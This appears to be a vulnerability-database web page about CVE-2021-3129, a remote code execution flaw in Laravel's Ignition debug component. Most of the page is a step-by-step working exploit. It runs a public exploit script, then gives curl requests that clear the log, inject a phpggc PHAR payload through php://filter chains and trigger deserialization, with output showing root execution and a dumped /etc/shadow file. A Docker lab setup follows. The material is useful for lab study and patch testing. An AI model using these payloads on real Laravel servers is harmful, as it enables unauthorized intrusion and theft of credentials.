Skip to content
HackIndex logo

HackIndex

CVE-2021-3129:
Laravel Ignition RCE

Published: Feb 21, 2026
Critical
Code Injection

Unauthenticated access to /_ignition/execute-solution in Laravel applications running Facade/Ignition ≤ 2.5.1 with APP_DEBUG=true. The MakeViewVariableOptionalSolution class allows controlled file writes through php://filter wrappers. This enables injection of a crafted PHAR into the Laravel log file, triggering deserialization RCE via Monolog gadget chains.

Patched in Ignition ≥ 2.5.2 with stricter view file validation and local-only restrictions in later versions.

Laravel RCE

Proof of Concepts and Exploits

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

joshuavanderpoll/CVE-2021-3129
User-friendly, automatic with automatic log path detection
View source (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3129
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ python3 CVE-2021-3129.py --host=http://127.0.0.1:8000 --force
  _____   _____   ___ __ ___ _    _____ ___ ___ 
 / __\ \ / / __|_|_  )  \_  ) |__|__ / |_  ) _ \
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /_,  /
 \___| \_/ |___| /___\__/___|_|  |___/_/___|/_/ 
 https://github.com/joshuavanderpoll/CVE-2021-3129
 Using PHPGGC: https://github.com/ambionics/phpggc

[@] Starting the exploit on "http://127.0.0.1:8000/"...
[@] Testing vulnerable URL "http://127.0.0.1:8000/_ignition/execute-solution"...
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/src/laravel/storage/logs/laravel.log".
[•] Laravel version found: "8.83.29".
[•] Use "?" for a list of all available actions.
[?] Please enter a command to execute : execute whoami
[@] Executing command "whoami"...
[@] Generating payload...
[√] Generated 29 payloads.
[@] Trying chain laravel/rce1 [1/29]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[!] Exploit request returned status code 500. Expected 200.
Error: "file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence"
[!] Failed converting payload.
[!] Failed execution of payload.
Error : file_get_contents(phar:///src/laravel/storage/logs/laravel.log): failed to open stream: internal corruption of phar "/src/laravel/storage/logs/laravel.log" (truncated entry)
<snip>
[?] Would you like to try the next chain? [Y/N] : y
[@] Trying chain laravel/rce12 [11/29]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[√] Output :

root

⭐ If this script helped you, consider starring https://github.com/joshuavanderpoll/CVE-2021-3129 ⭐
[√] Working chain found. You have now access to the 'patch' functionality.

Vulnerability Detection and Path Discovery

Trigger a MethodNotAllowed exception with a GET request.

┌──(kali㉿kali)-[~]
└─$ curl -I $TARGET_URL/_ignition/execute-solution
HTTP/1.0 405 Method Not Allowed
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 15:20:58 GMT
Connection: close
X-Powered-By: PHP/7.3.31
allow: POST
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 15:20:58 GMT
Content-type: text/html; charset&#61;UTF-8

A 405 response with a Laravel stack trace confirms Ignition presence in debug mode.

The stack trace leaks absolute paths.

┌──(kali㉿kali)-[~]
└─$ curl $TARGET_URL/_ignition/execute-solution 2>/dev/null | grep -E "(vendor.*laravel.*framework|vendor\\\\laravel\\\\framework)"
Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException: The GET method is not supported for this route. Supported methods: POST. in file /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php on line 117
#0 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(103): Illuminate\Routing\AbstractRouteCollection-&gt;methodNotAllowed(Array, &#039;GET&#039;)
#1 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php(40): Illuminate\Routing\AbstractRouteCollection-&gt;getRouteForMethods(Object(Illuminate\Http\Request), Array)
#2 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php(162): Illuminate\Routing\AbstractRouteCollection-&gt;handleMatchedRoute(Object(Illuminate\Http\Request), NULL)
#3 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(673): Illuminate\Routing\RouteCollection-&gt;match(Object(Illuminate\Http\Request))
#4 /src/laravel/vendor/laravel/framework/src/Illuminate/Routing/Router.php(662): Illuminate\Routing\Router-&gt;findRoute(Object(Illuminate\Http\Request))
...
#17 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Illuminate\Foundation\Http\Middleware\PreventRequestsDuringMaintenance-&gt;handle(Object(Illuminate\Http\Request), Object(Closure))
#19 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fruitcake\Cors\HandleCors-&gt;handle(Object(Illuminate\Http\Request), Object(Closure))
#21 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(167): Fideloper\Proxy\TrustProxies-&gt;handle(Object(Illuminate\Http\Request), Object(Closure))
#22 /src/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline-&gt;Illuminate\Pipeline\{closure}(Object(Illuminate\Http\Request))
#23 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(142): Illuminate\Pipeline\Pipeline-&gt;then(Object(Closure))
#24 /src/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(111): Illuminate\Foundation\Http\Kernel-&gt;sendRequestThroughRouter(Object(Illuminate\Http\Request))

Extract paths containing /vendor/laravel/framework (Linux) or \vendor\laravel\framework (Windows).

Example leaked path:

/src/laravel/vendor/laravel/framework/src/Illuminate/Routing/AbstractRouteCollection.php

Application root: /src/laravel

Log path uses forward slashes across OS

┌──(kali㉿kali)-[~]
└─$ export LOG_PATH="/src/laravel/storage/logs/laravel.log"

Log Clearing

Overwrite the log before injection.

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=consumed/resource='"$LOG_PATH"'"}}'
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:27:16 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
Date: Mon, 05 Jan 2026 18:27:16 GMT
Content-Type: text/html; charset&#61;UTF-8

Run twice to force log file creation. Success returns 200 OK.

PHAR Payload Generation

Use Monolog gadget chains from phpggc. Chains rce1 through rce22 cover PHP version differences.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/ambionics/phpggc.git
┌──(kali㉿kali)-[~]
└─$ cd phpggc
┌──(kali㉿kali)-[~]
└─$ export COMMAND="cat /etc/shadow"
┌──(kali㉿kali)-[~]
└─$ export PAYLOAD=$(php -dphar.readonly=0 ./phpggc-master/phpggc laravel/rce13 system "$COMMAND" --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/(.)/\1=00/g')

The base64 payload receives additional quoted-printable encoding and UTF conversions during injection.

Clear the log first with the previous provided clear CURL command

Create an alignment entry

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AA"}}'
HTTP/1.1 500 Internal Server Error
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:30:44 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 18:30:44 GMT
Content-Type: text/html; charset&#61;UTF-8

Success returns 500 Internal Server Error. This places "AA" in the log.

Inject the padded payload

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"AAAAAAAAAAAAAA'"$PAYLOAD"'"}}'
HTTP/1.1 500 Internal Server Error
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:30:44 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
date: Mon, 05 Jan 2026 18:30:44 GMT
Content-Type: text/html; charset&#61;UTF-8

Success returns 500. The encoded PHAR now sits in the log.

Decode the payload in place

┌──(kali㉿kali)-[~]
└─$ curl -k -sS -D - -o /dev/null -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource='"$LOG_PATH"'"}}'
HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Mon, 05 Jan 2026 18:34:17 GMT
Connection: close
X-Powered-By: PHP/7.3.31
Cache-Control: no-cache, private
Date: Mon, 05 Jan 2026 18:34:17 GMT
Content-Type: text/html; charset&#61;UTF-8

Success returns 200 OK.

Trigger deserialization

┌──(kali㉿kali)-[~]
└─$ curl -k -X POST $TARGET_URL/_ignition/execute-solution -H 'Content-Type: application/json' --data-raw '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"variable","viewFile":"phar://'"$LOG_PATH"'"}}' 2>/dev/null | sed '1,/<\/html>/d'
root:!::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
at:!::0:::::
squid:!::0:::::
xfs:!::0:::::
games:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
www-data:!:18914:0:99999:7:::
utmp:!:18914:0:99999:7:::

Command output appears after the closing </html> tag.

If a chain fails, adjust padding (typically 14-16 "A" bytes), verify filters, and ensure error logging triggers.

Docker lab

Lab repository
joshuavanderpoll/CVE-2021-3129
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2021-3129
┌──(kali㉿kali)-[~]
└─$ docker build -t laravel_vulnerable .
[+] Building 1.1s (1/2)                                                                                                                                                                      docker:desktop-linux
[+] Building 3.1s (9/9) FINISHED                                                                                                                                                             docker:desktop-linux
 => [internal] load build definition from Dockerfile                                                                                                                                                         0.0s
 => => transferring dockerfile: 649B                                                                                                                                                                         0.0s
 => [internal] load metadata for docker.io/library/php:7.3.31-alpine3.14                                                                                                                                     3.0s
 => [internal] load .dockerignore                                                                                                                                                                            0.0s
 => => transferring context: 2B                                                                                                                                                                              0.0s
 => [1/5] FROM docker.io/library/php:7.3.31-alpine3.14@sha256:13fbee0fa998d1528f8b3d2b89022858bdf75e7e4d5c9f08d5256e83daa34000                                                                               0.0s
 => CACHED [2/5] RUN php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"     && php composer-setup.php     && php -r "unlink('composer-setup.php');"     && mv composer.phar /usr/loc  0.0s
 => CACHED [3/5] RUN composer create-project --prefer-dist laravel/laravel /src/laravel "8.4.2"                                                                                                              0.0s
 => CACHED [4/5] WORKDIR /src/laravel                                                                                                                                                                        0.0s
 => CACHED [5/5] RUN composer config audit.block-insecure false     && composer require --dev facade/ignition==2.5.1                                                                                         0.0s
 => exporting to image                                                                                                                                                                                       0.0s
 => => exporting layers                                                                                                                                                                                      0.0s
 => => writing image sha256:81ff630edd439417fc1b4332e8009fbc60fe5f40cd445a1b1108762c3abfe0e1                                                                                                                 0.0s
 => => naming to docker.io/library/laravel_vulnerable                                                                                                                                                        0.0s

View build details: docker-desktop://dashboard/build/desktop-linux/desktop-linux/q4e4w037mk6pi4b5bc587rfer
┌──(kali㉿kali)-[~]
└─$ docker run -p 8000:8000 laravel_vulnerable
PHP 7.3.31 Development Server started at Sat Feb 21 15:31:25 2026
Listening on http://0.0.0.0:8000